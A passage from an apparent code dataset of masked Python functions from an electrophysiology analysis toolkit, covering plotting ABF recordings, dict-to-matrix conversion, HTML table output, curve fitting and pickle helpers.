errorbars)\nReturns [[AV],[SD]] for the given range.", "id": "f11405:m3"}
{"signature": "def comments(abf,minutes=False):", "body": "if not len(abf.commentTimes):<EOL><INDENT>return<EOL><DEDENT>for i in range(len(abf.commentTimes)):<EOL><INDENT>t,c = abf.commentTimes[i],abf.commentTags[i]<EOL>if minutes:<EOL><INDENT>t=t/<NUM_LIT><EOL><DEDENT>pylab.axvline(t,lw=<NUM_LIT:1>,color='<STR_LIT:r>',ls=\"<STR_LIT>\",alpha=<NUM_LIT>)<EOL>X1,X2,Y1,Y2=pylab.axis()<EOL>Y2=Y2-abs(Y2-Y1)*<NUM_LIT><EOL>pylab.text(t,Y2,c,size=<NUM_LIT:8>,color='<STR_LIT:r>',rotation='<STR_LIT>',<EOL>ha='<STR_LIT:right>',va='<STR_LIT>',weight='<STR_LIT>',alpha=<NUM_LIT>)<EOL>if minutes:<EOL><INDENT>pylab.xlabel(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>pylab.xlabel(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "draw vertical lines at comment points. Defaults to seconds.", "id": "f11405:m4"}
{"signature": "def dual(ABF):", "body": "new(ABF)<EOL>pylab.subplot(<NUM_LIT>)<EOL>pylab.title(\"<STR_LIT>\")<EOL>ABF.channel=<NUM_LIT:0><EOL>sweep(ABF)<EOL>pylab.subplot(<NUM_LIT>)<EOL>pylab.title(\"<STR_LIT>\")<EOL>ABF.channel=<NUM_LIT:1><EOL>sweep(ABF)<EOL>", "docstring": "Plot two channels of current sweep (top/bottom).", "id": "f11405:m5"}
{"signature": "def sweep(ABF,sweep=None,rainbow=True,alpha=None,protocol=False,color='<STR_LIT:b>',<EOL>continuous=False,offsetX=<NUM_LIT:0>,offsetY=<NUM_LIT:0>,minutes=False,<EOL>decimate=None,newFigure=False):", "body": "if len(pylab.get_fignums())==<NUM_LIT:0> or newFigure:<EOL><INDENT>new(ABF,True)<EOL><DEDENT>if offsetY><NUM_LIT:0>:<EOL><INDENT>pylab.grid(None)<EOL><DEDENT>if sweep is None:<EOL><INDENT>sweeps=[ABF.currentSweep]<EOL>if not ABF.currentSweep:<EOL><INDENT>sweeps=[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>elif sweep==\"<STR_LIT:all>\":<EOL><INDENT>sweeps=range(<NUM_LIT:0>,ABF.sweeps)<EOL><DEDENT>elif type(sweep) in [int,float]:<EOL><INDENT>sweeps=[int(sweep)]<EOL><DEDENT>elif type(sweep) is list:<EOL><INDENT>sweeps=sweep<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\",type(sweep),sweep)<EOL><DEDENT>if continuous:<EOL><INDENT>offsetX=ABF.sweepInterval<EOL><DEDENT>colors=[color]*len(sweeps) <EOL>if rainbow and len(sweeps)><NUM_LIT:1>:<EOL><INDENT>for i in range(len(sweeps)):<EOL><INDENT>colors[i]=ABF.colormap[i]<EOL><DEDENT><DEDENT>if alpha is None and len(sweeps)==<NUM_LIT:1>:<EOL><INDENT>alpha=<NUM_LIT:1><EOL><DEDENT>if rainbow and alpha is None:<EOL><INDENT>alpha=<NUM_LIT><EOL><DEDENT>if alpha is None:<EOL><INDENT>alpha=<NUM_LIT:1><EOL><DEDENT>if minutes == False:<EOL><INDENT>minutes=<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>minutes=<NUM_LIT><EOL>pylab.xlabel(\"<STR_LIT>\")<EOL><DEDENT>ABF.decimateMethod=decimate<EOL>for i in range(len(sweeps)):<EOL><INDENT>ABF.setSweep(sweeps[i])<EOL>if protocol:<EOL><INDENT>pylab.plot((np.array(ABF.protoX)/ABF.rate+offsetX*i)/minutes,<EOL>ABF.protoY+offsetY*i,<EOL>alpha=alpha,color=colors[i])<EOL><DEDENT>else:<EOL><INDENT>pylab.plot((ABF.dataX+offsetX*i)/minutes,<EOL>ABF.dataY+offsetY*i,alpha=alpha,color=colors[i])<EOL><DEDENT><DEDENT>ABF.decimateMethod=None<EOL>pylab.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>", "docstring": "Load a particular sweep then plot it.\nIf sweep is None or False, just plot current dataX/dataY.\nIf rainbow, it'll make it color coded prettily.", "id": "f11405:m6"}
{"signature": "def annotate(abf):", "body": "msg=\"<STR_LIT>\"%str(swhlab.VERSION)<EOL>msg+=\"<STR_LIT>\"%abf.ID<EOL>msg+=\"<STR_LIT>\"%abf.channel<EOL>msg+=\"<STR_LIT>\"%abf.protoComment<EOL>msg+=\"<STR_LIT>\"%(abf.holding,abf.units)<EOL>msg+=\"<STR_LIT>\"%'<STR_LIT>'.format(datetime.datetime.now())<EOL>pylab.annotate(msg,(<NUM_LIT>,<NUM_LIT>),xycoords='<STR_LIT>',ha='<STR_LIT:left>',<EOL>va='<STR_LIT>',color='<STR_LIT>',family='<STR_LIT>',size=<NUM_LIT:8>,<EOL>weight='<STR_LIT>')<EOL>if abf.nADC><NUM_LIT:1>:<EOL><INDENT>msg=\"<STR_LIT>\"%(abf.channel+<NUM_LIT:1>,abf.nADC)<EOL>pylab.annotate(msg,(<NUM_LIT>,<NUM_LIT>),xycoords='<STR_LIT>',ha='<STR_LIT:left>',<EOL>va='<STR_LIT>',color='<STR_LIT>',family='<STR_LIT>',size=<NUM_LIT:12>,<EOL>weight='<STR_LIT>')<EOL><DEDENT>", "docstring": "stamp the bottom with file info.", "id": "f11405:m7"}
{"signature": "def new(ABF,forceNewFigure=False,title=None,xlabel=None,ylabel=None):", "body": "if len(pylab.get_fignums()) and forceNewFigure==False:<EOL><INDENT>return<EOL><DEDENT>pylab.figure(figsize=(<NUM_LIT:8>,<NUM_LIT:6>))<EOL>pylab.grid(alpha=<NUM_LIT>)<EOL>pylab.title(ABF.ID)<EOL>pylab.ylabel(ABF.units)<EOL>pylab.xlabel(\"<STR_LIT>\")<EOL>if xlabel:<EOL><INDENT>pylab.xlabel(xlabel)<EOL><DEDENT>if ylabel:<EOL><INDENT>pylab.ylabel(ylabel)<EOL><DEDENT>if title:<EOL><INDENT>pylab.title(title)<EOL><DEDENT>annotate(ABF)<EOL>", "docstring": "makes a new matplotlib figure with default dims and DPI.\nAlso labels it with pA or mV depending on ABF.", "id": "f11405:m8"}
{"signature": "def show(abf):", "body": "save(abf)<EOL>", "docstring": "showing is the same as saving without a filename.", "id": "f11405:m9"}
{"signature": "def save(abf,fname=None,tag=None,width=<NUM_LIT>,close=True,facecolor='<STR_LIT:w>',<EOL>resize=True):", "body": "if len(pylab.gca().get_lines())==<NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if resize:<EOL><INDENT>pylab.tight_layout()<EOL>pylab.subplots_adjust(bottom=<NUM_LIT>)<EOL><DEDENT>annotate(abf)<EOL>if tag:<EOL><INDENT>fname = abf.outpath+abf.ID+\"<STR_LIT:_>\"+tag+\"<STR_LIT>\"<EOL><DEDENT>inchesX,inchesY = pylab.gcf().get_size_inches()<EOL>dpi=width/inchesX<EOL>if fname:<EOL><INDENT>if not os.path.exists(abf.outpath):<EOL><INDENT>os.mkdir(abf.outpath)<EOL><DEDENT>print(\"<STR_LIT>\"%(os.path.basename(fname),dpi,inchesX*dpi,inchesY*dpi))<EOL>pylab.savefig(fname,dpi=dpi,facecolor=facecolor)<EOL><DEDENT>else:<EOL><INDENT>pylab.show()<EOL><DEDENT>if close:<EOL><INDENT>pylab.close()<EOL><DEDENT>", "docstring": "Save the pylab figure somewhere.\nIf fname==False, show it instead.\nHeight force > dpi force\nif a tag is given instead of a filename, save it alongside the ABF", "id": "f11405:m10"}
{"signature": "def getUnit(name):", "body": "for key in UNITS:<EOL><INDENT>if name in key:<EOL><INDENT>return UNITS[key]<EOL><DEDENT><DEDENT>return \"<STR_LIT>\"<EOL>", "docstring": "given a column name, return the best guess unit.", "id": "f11406:m0"}
{"signature": "def dictFlat(l):", "body": "if type(l) is dict:<EOL><INDENT>return [l]<EOL><DEDENT>if \"<STR_LIT>\" in str(type(l)):<EOL><INDENT>return l<EOL><DEDENT>dicts=[]<EOL>for item in l:<EOL><INDENT>if type(item)==dict:<EOL><INDENT>dicts.append(item)<EOL><DEDENT>elif type(item)==list:<EOL><INDENT>for item2 in item:<EOL><INDENT>dicts.append(item2)<EOL><DEDENT><DEDENT><DEDENT>return dicts<EOL>", "docstring": "Given a list of list of dicts, return just the dicts.", "id": "f11406:m2"}
{"signature": "def listCount(l):", "body": "for i in range(len(l)):<EOL><INDENT>l[i]=len(l[i])<EOL><DEDENT>return l<EOL>", "docstring": "returns len() of each item in a list, as a list.", "id": "f11406:m3"}
{"signature": "def dictVals(l,key):", "body": "dicts=dictFlat(l)<EOL>vals=np.empty(len(dicts))*np.nan<EOL>for i in range(len(dicts)):<EOL><INDENT>if key in dicts[i]:<EOL><INDENT>vals[i]=dicts[i][key]<EOL><DEDENT><DEDENT>return vals<EOL>", "docstring": "Return all 'key' from a list of dicts. (or list of list of dicts)", "id": "f11406:m4"}
{"signature": "def dictAvg(listOfDicts,key,stdErr=False):", "body": "vals=dictVals(listOfDicts,key)<EOL>if len(vals) and np.any(vals):<EOL><INDENT>av=np.nanmean(vals)<EOL>er=np.nanstd(vals)<EOL>if stdErr:<EOL><INDENT>er=er/np.sqrt(np.count_nonzero(~np.isnan(er)))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>av,er=np.nan,np.nan<EOL><DEDENT>return av,er<EOL>", "docstring": "Given a list (l) of dicts (d), return AV and SD.", "id": "f11406:m5"}
{"signature": "def dummyListOfDicts(size=<NUM_LIT:100>):", "body": "titles=\"<STR_LIT>\".split(\"<STR_LIT:U+002C>\")<EOL>ld=[] <EOL>for i in range(size):<EOL><INDENT>d={}<EOL>for t in titles:<EOL><INDENT>if int(np.random.random(<NUM_LIT:1>)*<NUM_LIT:100>)><NUM_LIT:5>: <EOL><INDENT>d[t]=float(np.random.random(<NUM_LIT:1>)*<NUM_LIT:100>) <EOL><DEDENT>if t==\"<STR_LIT>\" and \"<STR_LIT>\" in d.keys():<EOL><INDENT>d[t]=int(d[t])<EOL><DEDENT><DEDENT>ld.append(d)<EOL><DEDENT>return ld<EOL>", "docstring": "returns a list (of the given size) of dicts with fake data.\nsome dictionary keys are missing for some of the items.", "id": "f11406:m6"}
{"signature": "def matrixValues(matrix,key):", "body": "assert key in matrix.dtype.names<EOL>col=matrix.dtype.names.index(key)<EOL>values=np.empty(len(matrix))*np.nan<EOL>for i in range(len(matrix)):<EOL><INDENT>values[i]=matrix[i][col]<EOL><DEDENT>return values<EOL>", "docstring": "given a key, return a list of values from the matrix with that key.", "id": "f11406:m7"}
{"signature": "def matrixToDicts(data):", "body": "<EOL>if \"<STR_LIT:float>\" in str(type(data[<NUM_LIT:0>])):<EOL><INDENT>d={}<EOL>for x in range(len(data)):<EOL><INDENT>d[data.dtype.names[x]]=data[x]<EOL><DEDENT>return d<EOL><DEDENT>l=[]<EOL>for y in range(len(data)):<EOL><INDENT>d={}<EOL>for x in range(len(data[y])):<EOL><INDENT>d[data.dtype.names[x]]=data[y][x]<EOL><DEDENT>l.append(d)<EOL><DEDENT>return l<EOL>", "docstring": "given a recarray, return it as a list of dicts.", "id": "f11406:m8"}
{"signature": "def matrixfromDicts(dicts):", "body": "if '<STR_LIT>' in str(type(dicts)):<EOL><INDENT>return dicts <EOL><DEDENT>names=set([])<EOL>dicts=dictFlat(dicts)<EOL>for item in dicts:<EOL><INDENT>names=names.union(list(item.keys()))<EOL><DEDENT>names=sorted(list(names))<EOL>data=np.empty((len(dicts),len(names)),dtype=float)*np.nan<EOL>for y in range(len(dicts)):<EOL><INDENT>for key in dicts[y].keys():<EOL><INDENT>for x in range(len(names)):<EOL><INDENT>if names[x] in dicts[y]:<EOL><INDENT>data[y,x]=dicts[y][names[x]]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if len(dicts):<EOL><INDENT>data=np.core.records.fromarrays(data.transpose(),names=names)<EOL><DEDENT>return data<EOL>", "docstring": "Give a list of dicts (or list of list of dicts) return a structured array.\nHeadings will be sorted in alphabetical order.", "id": "f11406:m9"}
{"signature": "def htmlListToTR(l,trClass=None,tdClass=None,td1Class=None):", "body": "html=\"<STR_LIT>\"<EOL>for item in l:<EOL><INDENT>if '<STR_LIT>' in str(type(item)):<EOL><INDENT>item=item[<NUM_LIT:0>] <EOL><DEDENT>html+=\"<STR_LIT>\"%item<EOL><DEDENT>html+=\"<STR_LIT>\"<EOL>if trClass:<EOL><INDENT>html=html.replace(\"<STR_LIT>\",'<STR_LIT>'%trClass)<EOL><DEDENT>if td1Class:<EOL><INDENT>html=html.replace(\"<STR_LIT>\",'<STR_LIT>'%td1Class,<NUM_LIT:1>)<EOL><DEDENT>if tdClass:<EOL><INDENT>html=html.replace(\"<STR_LIT>\",'<STR_LIT>'%tdClass)<EOL><DEDENT>return html<EOL>", "docstring": "turns a list into a <tr><td>something</td></tr>\ncall this when generating HTML tables dynamically.", "id": "f11406:m10"}
{"signature": "def html_temp_launch(html):", "body": "fname = tempfile.gettempdir()+\"<STR_LIT>\"<EOL>with open(fname,'<STR_LIT:w>') as f:<EOL><INDENT>f.write(html)<EOL><DEDENT>webbrowser.open(fname)<EOL>", "docstring": "given text, make it a temporary HTML file and launch it.", "id": "f11406:m11"}
{"signature": "def checkOut(thing,html=True):", "body": "msg=\"<STR_LIT>\"<EOL>for name in sorted(dir(thing)):<EOL><INDENT>if not \"<STR_LIT>\" in name:<EOL><INDENT>msg+=\"<STR_LIT>\"%name<EOL>try:<EOL><INDENT>msg+=\"<STR_LIT>\"%getattr(thing,name)()<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>if html:<EOL><INDENT>html='<STR_LIT>'+msg+'<STR_LIT>'<EOL>html=html.replace(\"<STR_LIT:U+0020>\",\"<STR_LIT>\").replace(\"<STR_LIT:\\n>\",\"<STR_LIT>\")<EOL>fname = tempfile.gettempdir()+\"<STR_LIT>\"<EOL>with open(fname,'<STR_LIT:w>') as f:<EOL><INDENT>f.write(html)<EOL><DEDENT>webbrowser.open(fname)<EOL><DEDENT>print(msg.replace('<STR_LIT>','<STR_LIT>').replace('<STR_LIT>','<STR_LIT>'))<EOL>", "docstring": "show everything we can about an object's projects and methods.", "id": "f11406:m12"}
{"signature": "def matrixToWks(data,names=None,units=None,bookName=None,sheetName=\"<STR_LIT:U+0020>\",xCol=None):", "body": "if type(data) is list:<EOL><INDENT>data=matrixfromDicts(data)<EOL><DEDENT>if not names:<EOL><INDENT>names=[\"<STR_LIT>\"]*len(data[<NUM_LIT:0>])<EOL>if data.dtype.names:<EOL><INDENT>names=list(data.dtype.names)<EOL><DEDENT><DEDENT>if not units:<EOL><INDENT>units=[\"<STR_LIT>\"]*len(data[<NUM_LIT:0>])<EOL>for i in range(len(units)):<EOL><INDENT>if names[i] in UNITS.keys():<EOL><INDENT>units[i]=UNITS[names[i]]<EOL><DEDENT><DEDENT><DEDENT>if '<STR_LIT>' in str(type(data)): <EOL><INDENT>data=data.view(float).reshape(data.shape + (-<NUM_LIT:1>,))<EOL><DEDENT>if xCol and xCol in names:<EOL><INDENT>xCol=names.index(xCol)<EOL>names.insert(<NUM_LIT:0>,names[xCol])<EOL>units.insert(<NUM_LIT:0>,units[xCol])<EOL>data=np.insert(data,<NUM_LIT:0>,data[:,xCol],<NUM_LIT:1>)<EOL><DEDENT>if not bookName:<EOL><INDENT>bookName=\"<STR_LIT>\"<EOL><DEDENT>if not sheetName:<EOL><INDENT>sheetName=\"<STR_LIT>\"+str(time.clock())[-<NUM_LIT:5>:]<EOL><DEDENT>try:<EOL><INDENT>import PyOrigin<EOL>PyOrigin.LT_execute(\"<STR_LIT>\") <EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>matrixToHTML(data,names,units,bookName,sheetName,xCol)<EOL>return<EOL><DEDENT>nrows,ncols=len(data),len(data[<NUM_LIT:0>])<EOL>if '<STR_LIT>' in str(type(data)): <EOL><INDENT>data=np.array(data.view(),dtype=float).reshape((nrows,ncols))<EOL><DEDENT>data=np.transpose(data) <EOL>PyOrigin.LT_execute(\"<STR_LIT>\"%(bookName,sheetName))<EOL>wks=PyOrigin.ActiveLayer()<EOL>while wks.GetColCount() < ncols:<EOL><INDENT>wks.InsertCol(wks.GetColCount(),'<STR_LIT>')<EOL><DEDENT>for i in range(ncols):<EOL><INDENT>col=wks.Columns(i)<EOL>col.SetLongName(names[i])<EOL>col.SetUnits(units[i])<EOL><DEDENT>wks.SetData(data,<NUM_LIT:0>,<NUM_LIT:0>)<EOL>PyOrigin.LT_execute(\"<STR_LIT>\")<EOL>PyOrigin.LT_execute(\"<STR_LIT>\")<EOL>", "docstring": "Put 2d numpy data into an Origin worksheet.\nIf bookname and sheetname are given try to load data into that book/sheet.\nIf the book/sheet doesn't exist, create it.", "id": "f11406:m13"}
{"signature": "def matrixToHTML(data,names=None,units=None,bookName=None,sheetName=None,xCol=None):", "body": "if not names:<EOL><INDENT>names=[\"<STR_LIT>\"]*len(data[<NUM_LIT:0>])<EOL>if data.dtype.names:<EOL><INDENT>names=list(data.dtype.names)<EOL><DEDENT><DEDENT>if not units:<EOL><INDENT>units=[\"<STR_LIT>\"]*len(data[<NUM_LIT:0>])<EOL>for i in range(len(units)):<EOL><INDENT>if names[i] in UNITS.keys():<EOL><INDENT>units[i]=UNITS[names[i]]<EOL><DEDENT><DEDENT><DEDENT>if '<STR_LIT>' in str(type(data)): <EOL><INDENT>data=data.view(float).reshape(data.shape + (-<NUM_LIT:1>,))<EOL><DEDENT>if xCol and xCol in names:<EOL><INDENT>xCol=names.index(xCol)<EOL>names.insert(<NUM_LIT:0>,names[xCol])<EOL>units.insert(<NUM_LIT:0>,units[xCol])<EOL>data=np.insert(data,<NUM_LIT:0>,data[:,xCol],<NUM_LIT:1>)<EOL><DEDENT>htmlFname = tempfile.gettempdir()+\"<STR_LIT>\"%(bookName,sheetName)<EOL>html=\"\"\"<STR_LIT>\"\"\"<EOL>html+=\"<STR_LIT>\"<EOL>if bookName or sheetName:<EOL><INDENT>html+='<STR_LIT>'%(bookName,sheetName)<EOL><DEDENT>html+=\"<STR_LIT>\"<EOL>colNames=['<STR_LIT>']<EOL>for i in range(len(units)):<EOL><INDENT>label=\"<STR_LIT>\"%(chr(i+ord('<STR_LIT:A>')),i)<EOL>colNames.append(label)<EOL><DEDENT>html+=htmlListToTR(colNames,'<STR_LIT>','<STR_LIT>')<EOL>html+=htmlListToTR(['<STR_LIT>']+list(names),'<STR_LIT:name>',td1Class='<STR_LIT>')<EOL>html+=htmlListToTR(['<STR_LIT>']+list(units),'<STR_LIT>',td1Class='<STR_LIT>')<EOL>cutOff=False<EOL>for y in range(len(data)):<EOL><INDENT>html+=htmlListToTR([y+<NUM_LIT:1>]+list(data[y]),trClass='<STR_LIT>'%(y%<NUM_LIT:2>),td1Class='<STR_LIT>')<EOL>if y>=<NUM_LIT:200>:<EOL><INDENT>cutOff=True<EOL>break<EOL><DEDENT><DEDENT>html+=\"<STR_LIT>\"<EOL>html=html.replace(\"<STR_LIT>\",\"<STR_LIT>\")<EOL>html=html.replace(\"<STR_LIT>\",\"<STR_LIT>\")<EOL>if cutOff:<EOL><INDENT>html+=\"<STR_LIT>\"%(y,len(data))<EOL><DEDENT>html+=\"<STR_LIT>\"<EOL>with open(htmlFname,'<STR_LIT:w>') as f:<EOL><INDENT>f.write(html)<EOL><DEDENT>webbrowser.open(htmlFname)<EOL>return<EOL>", "docstring": "Put 2d numpy data into a temporary HTML file.", "id": "f11406:m14"}
{"signature": "def XMLtoPython(xmlStr=r\"<STR_LIT>\"):", "body": "<EOL>if os.path.exists(xmlStr):<EOL><INDENT>with open(xmlStr) as f:<EOL><INDENT>xmlStr=f.read()<EOL><DEDENT><DEDENT>print(xmlStr)<EOL>print(\"<STR_LIT>\")<EOL>return<EOL>", "docstring": "given a string or a path to an XML file, return an XML object.", "id": "f11406:m15"}
{"signature": "def XMLfromPython(xmlObj,saveAs=False):", "body": "return<EOL>", "docstring": "given a an XML object, return XML string.\noptionally, save it to disk.", "id": "f11406:m16"}
{"signature": "def algo_exp(x, m, t, b):", "body": "return m*np.exp(-t*x)+b<EOL>", "docstring": "mono-exponential curve.", "id": "f11406:m17"}
{"signature": "def fit_exp(y,graphToo=False):", "body": "x=np.arange(len(y))<EOL>try:<EOL><INDENT>params, cv = scipy.optimize.curve_fit(algo_exp, x, y, p0=(<NUM_LIT:1>,<NUM_LIT>,<NUM_LIT:1>))<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\"%len(x))<EOL>return np.nan,np.nan,np.nan,np.nan <EOL><DEDENT>m,t,b=params<EOL>tau=<NUM_LIT:1>/t<EOL>if graphToo:<EOL><INDENT>pylab.figure(figsize=(<NUM_LIT:6>,<NUM_LIT:4>))<EOL>pylab.grid()<EOL>pylab.title(\"<STR_LIT>\")<EOL>pylab.plot(x,y,'<STR_LIT:o>',mfc='<STR_LIT:none>',ms=<NUM_LIT:10>)<EOL>pylab.plot(x,algo_exp(x,m,t,b),'<STR_LIT>',lw=<NUM_LIT:2>)<EOL>pylab.show()<EOL><DEDENT>return m,t,b,tau<EOL>", "docstring": "Exponential fit. Returns [multiplier, t, offset, time constant]", "id": "f11406:m18"}
{"signature": "def numpyAlignXY(data):", "body": "print(data)<EOL>Xs=data.flatten()[::<NUM_LIT:2>] <EOL>Xs=Xs[~np.isnan(Xs)] <EOL>Xs=sorted(list(set(Xs))) <EOL>aligned=np.empty((len(Xs),int(len(data[<NUM_LIT:0>])/<NUM_LIT:2>+<NUM_LIT:1>)))*np.nan<EOL>aligned[:,<NUM_LIT:0>]=Xs<EOL>for col in range(<NUM_LIT:0>,len(data[<NUM_LIT:0>]),<NUM_LIT:2>):<EOL><INDENT>for row in range(len(data)):<EOL><INDENT>X=data[row,col]<EOL>Y=data[row,col+<NUM_LIT:1>]<EOL>if np.isnan(X) or np.isnan(Y):<EOL><INDENT>continue<EOL><DEDENT>aligned[Xs.index(X),int(col/<NUM_LIT:2>+<NUM_LIT:1>)]=Y<EOL><DEDENT><DEDENT>return aligned<EOL>", "docstring": "given a numpy array (XYXYXY columns), return it aligned.\ndata returned will be XYYY. NANs may be returned.", "id": "f11406:m19"}
{"signature": "def filter_gaussian(Ys,sigma,plotToo=False):", "body": "timeA=time.time()<EOL>window=scipy.signal.gaussian(len(Ys),sigma)<EOL>window/=sum(window)<EOL>Ys2=np.convolve(Ys,window,'<STR_LIT>')<EOL>print(\"<STR_LIT>\",len(Ys2),len(Ys))<EOL>timeB=time.time()<EOL>print(\"<STR_LIT>\"%((timeB-timeA)*<NUM_LIT:1000>))<EOL>if len(Ys2)!=len(Ys):<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>if plotToo:<EOL><INDENT>pylab.plot(Ys,label='<STR_LIT>',alpha=<NUM_LIT>)<EOL>pylab.plot(Ys2,'<STR_LIT>',label='<STR_LIT>')<EOL>pylab.legend()<EOL>pylab.show()<EOL><DEDENT>return Ys2<EOL>", "docstring": "simple gaussian convolution. Returns same # of points as gotten.", "id": "f11406:m20"}
{"signature": "def where_cross(data,threshold):", "body": "Is=np.where(data>threshold)[<NUM_LIT:0>]<EOL>Is=np.concatenate(([<NUM_LIT:0>],Is))<EOL>Ds=Is[:-<NUM_LIT:1>]-Is[<NUM_LIT:1>:]+<NUM_LIT:1><EOL>return Is[np.where(Ds)[<NUM_LIT:0>]+<NUM_LIT:1>]<EOL>", "docstring": "return a list of Is where the data first crosses above threshold.", "id": "f11406:m21"}
{"signature": "def show(closeToo=False):", "body": "IPython.display.display(pylab.gcf())<EOL>if closeToo:<EOL><INDENT>pylab.close('<STR_LIT:all>')<EOL><DEDENT>", "docstring": "alternative to pylab.show() that updates IPython window.", "id": "f11406:m22"}
{"signature": "def originFormat_listOfDicts(l):", "body": "titles=[]<EOL>for d in l:<EOL><INDENT>for k in d.keys():<EOL><INDENT>if not k in titles:<EOL><INDENT>titles.append(k)<EOL><DEDENT><DEDENT><DEDENT>titles.sort()<EOL>data=np.empty((len(l),len(titles)))*np.nan<EOL>for y in range(len(l)):<EOL><INDENT>for x in range(len(titles)):<EOL><INDENT>if titles[x] in l[y].keys():<EOL><INDENT>data[y][x]=l[y][titles[x]]<EOL><DEDENT><DEDENT><DEDENT>return titles,data<EOL>", "docstring": "Return [{},{},{}] as a 2d matrix.", "id": "f11406:m23"}
{"signature": "def originFormat(thing):", "body": "if type(thing) is list and type(thing[<NUM_LIT:0>]) is dict:<EOL><INDENT>return originFormat_listOfDicts(thing)<EOL><DEDENT>if type(thing) is list and type(thing[<NUM_LIT:0>]) is list:<EOL><INDENT>return originFormat_listOfDicts(dictFlat(thing))<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(thing)<EOL><DEDENT>", "docstring": "Try to format anything as a 2D matrix with column names.", "id": "f11406:m24"}
{"signature": "def pickle_load(fname):", "body": "thing = pickle.load(open(fname,\"<STR_LIT:rb>\"))<EOL>return thing<EOL>", "docstring": "return the contents of a pickle file", "id": "f11406:m25"}
{"signature": "def pickle_save(thing,fname):", "body": "pickle.dump(thing, open(fname,\"<STR_LIT:wb>\"),pickle.HIGHEST_PROTOCOL)<EOL>return thing<EOL>", "docstring": "save something to a pickle file", "id": "f11406:m26"}
{"signature": "def getPkl(fname): ", "body": "thing = pickle.load(open(fname,\"<STR_LIT:rb>\"))<EOL>return thing<EOL>", "docstring": "return the contents of a pickle file", "id": "f11406:m27"}
{"signature": "def msgDict(d,matching=None,sep1=\"<STR_LIT:=>\",sep2=\"<STR_LIT:\\n>\",sort=True,cantEndWith=None):", "body": "msg=\"<STR_LIT>\"<EOL>if \"<STR_LIT>\" in str(type(d)):<EOL><INDENT>keys=d.dtype.names<EOL><DEDENT>else:<EOL><INDENT>keys=d.keys()<EOL><DEDENT>if sort:<EOL><INDENT>keys=sorted(keys)<EOL><DEDENT>for key in keys:<EOL><INDENT>if key[<NUM_LIT:0>]==\"<STR_LIT:_>\":<EOL><INDENT>continue<EOL><DEDENT>if matching:<EOL><INDENT>if not key in matching:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>if cantEndWith and key[-len(cantEndWith)]==cantEndWith:<EOL><INDENT>continue<EOL><DEDENT>if '<STR_LIT:float>' in str(type(d[key])):<EOL><INDENT>s=\"<STR_LIT>\"%d[key]<EOL><DEDENT>else:<EOL><INDENT>s=str(d[key])<EOL><DEDENT>if \"<STR_LIT:object>\" in s:<EOL><INDENT>s='<STR_LIT>'<EOL><DEDENT>msg+=key+sep1+s+sep2<EOL><DEDENT>return msg.strip()<EOL>", "docstring": "convert a dictionary to a pretty formatted string.", "id": "f11406:m28"}
{"signature": "def groupsFromKey(keyFile='<STR_LIT>'):", "body": "groups={}<EOL>thisGroup=\"<STR_LIT:?>\"<EOL>with open(keyFile) as f:<EOL><INDENT>raw=f.read().split(\"<STR_LIT:\\n>\")<EOL><DEDENT>for line in raw:<EOL><INDENT>line=line.strip()<EOL>if len(line)<<NUM_LIT:3>:<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT>\" in line:<EOL><INDENT>thisGroup=line.split(\"<STR_LIT>\")[<NUM_LIT:1>]<EOL>groups[thisGroup]=[]<EOL><DEDENT>else:<EOL><INDENT>groups[thisGroup]=groups[thisGroup]+[line]<EOL><DEDENT><DEDENT>return groups<EOL>", "docstring": "given a groups file, return a dict of groups.\nExample:\n    ### GROUP: TR\n    16602083\n    16608059\n    ### GROUP: TU\n    16504000\n    16507011", "id": "f11406:m33"}
{"signature": "def findRelevantData(fileList,abfs):", "body": "relevant=[]<EOL>things={}<EOL>for abf in abfs:<EOL><INDENT>for fname in fileList:<EOL><INDENT>if abf in fname and not fname in relevant:<EOL><INDENT>relevant.append(fname)<EOL><DEDENT><DEDENT><DEDENT>for item in sorted(relevant):<EOL><INDENT>thing = os.path.basename(item)<EOL>if \"<STR_LIT>\" in thing:<EOL><INDENT>continue<EOL><DEDENT>if not \"<STR_LIT:_>\" in thing:<EOL><INDENT>continue<EOL><DEDENT>thing=thing.split(\"<STR_LIT:_>\")[-<NUM_LIT:1>].split(\"<STR_LIT:.>\")[<NUM_LIT:0>]<EOL>if not thing in things.keys(): <EOL><INDENT>things[thing]=item<EOL><DEDENT><DEDENT>return things<EOL>", "docstring": "return an abf of the *FIRST* of every type of thing.", "id": "f11406:m34"}
{"signature": "def determineProtocol(fname):", "body": "f=open(fname,'<STR_LIT:rb>')<EOL>raw=f.read(<NUM_LIT>) <EOL>f.close()<EOL>protoComment=\"<STR_LIT>\"<EOL>if b\"<STR_LIT>\" in raw:<EOL><INDENT>protoComment=raw.split(b\"<STR_LIT>\")[<NUM_LIT:1>].split(b\"<STR_LIT:]>\",<NUM_LIT:1>)[<NUM_LIT:0>]<EOL><DEDENT>elif b\"<STR_LIT>\" in raw:<EOL><INDENT>protoComment=raw.split(b\"<STR_LIT>\")[<NUM_LIT:1>].split(b\"<STR_LIT:]>\",<NUM_LIT:1>)[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>protoComment=\"<STR_LIT:?>\"<EOL><DEDENT>if not type(protoComment) is str:<EOL><INDENT>protoComment=protoComment.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>return protoComment<EOL>", "docstring": "determine the comment cooked in the protocol.", "id": "f11406:m35"}
